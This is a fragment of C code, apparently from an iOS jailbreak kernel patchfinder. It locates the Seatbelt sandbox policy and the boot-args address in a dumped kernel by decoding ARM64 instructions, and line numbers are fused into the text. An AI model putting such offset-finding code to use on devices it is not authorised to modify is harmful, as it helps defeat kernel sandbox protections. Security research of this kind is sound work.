off, what;1175uint8_t *str = Boyermoore_horspool_memmem(Kernel + PString_base, PString_size, (uint8_t *)"Seatbelt sandbox policy", sizeof("Seatbelt sandbox policy") - 1);1176if (!str) {1177return 0;1178}1179what = str - Kernel + KernDumpBase;1180for (off = 0; off < Kernel_size - Prelink_Base; off += 8) {1181if (*(uint64_t *)(Kernel + Prelink_Base + off) == what) {1182return *(uint64_t *)(Kernel + Prelink_Base + off + 24);1183}1184}1185return 0;1186}11871188uint64_t Find_bootargs(void) {11891190/*1191ADRP X8, #_PE_state@PAGE1192ADD X8, X8, #_PE_state@PAGEOFF1193LDR X8, [X8,#(PE_state__boot_args - 0xFFFFFFF0078BF098)]1194ADD X8, X8, #0x6C1195STR X8, [SP,#0x550+var_550]1196ADRP X0, #aBsdInitCannotF@PAGE ; "\"bsd_init: cannot find root vnode: %s"...1197ADD X0, X0, #aBsdInitCannotF@PAGEOFF ; "\"bsd_init: cannot find root vnode: %s"...1198BL _panic1199*/12001201addr_t ref = Find_strref("\"bsd_init: cannot find root vnode: %s\"", 1, 0);12021203if (ref == 0) {1204return 0;1205}12061207ref -= KernDumpBase;1208// skip add & adrp for panic str1209ref -= 8;1210uint32_t *insn = (uint32_t*)(Kernel+ref);12111212// skip str1213--insn;1214// add xX, xX, #cmdline_offset1215uint8_t xm = *insn&0x1f;1216if (((*insn>>5)&0x1f) != xm || ((*insn>>22)&3) != 0) {1217return 0;1218}12191220//cmdline_offset = (*insn>>10) & 0xfff;12211222uint64_t val = KernDumpBase;12231224--insn;1225// ldr xX, [xX, #(PE_state__boot_args - PE_state)]1226if ((*insn & 0xF9C00000) != 0xF9400000) {1227return 0;1228}1229// xd == xX, xn == xX,1230if ((*insn&0x1f) != xm || ((*insn>>5)&0x1f) != xm) {1231return 0;1232}12331234val += ((*insn >> 10) & 0xFFF) << 3;12351236--insn;1237// add xX, xX, #_PE_state@PAGEOFF1238if ((*insn&0x1f) != xm || ((*insn>>5)&0x1f) != xm || ((*insn>>22)&3) != 0) {1239return 0;1240}12411242val += (*insn>>10) & 0xfff;12431244--insn;1245if ((*insn & 0x1f) != xm) {1246return 0;1247}12481249// pc1250val += ((uint8_t*)(insn) - Kernel) & ~0xfff;12511252// don't ask, I wrote this at 5am1253val += (*insn<<9 & 0x1ffffc000) | (*insn>>17 & 0x3000);12541255return val;1256}1257125812591260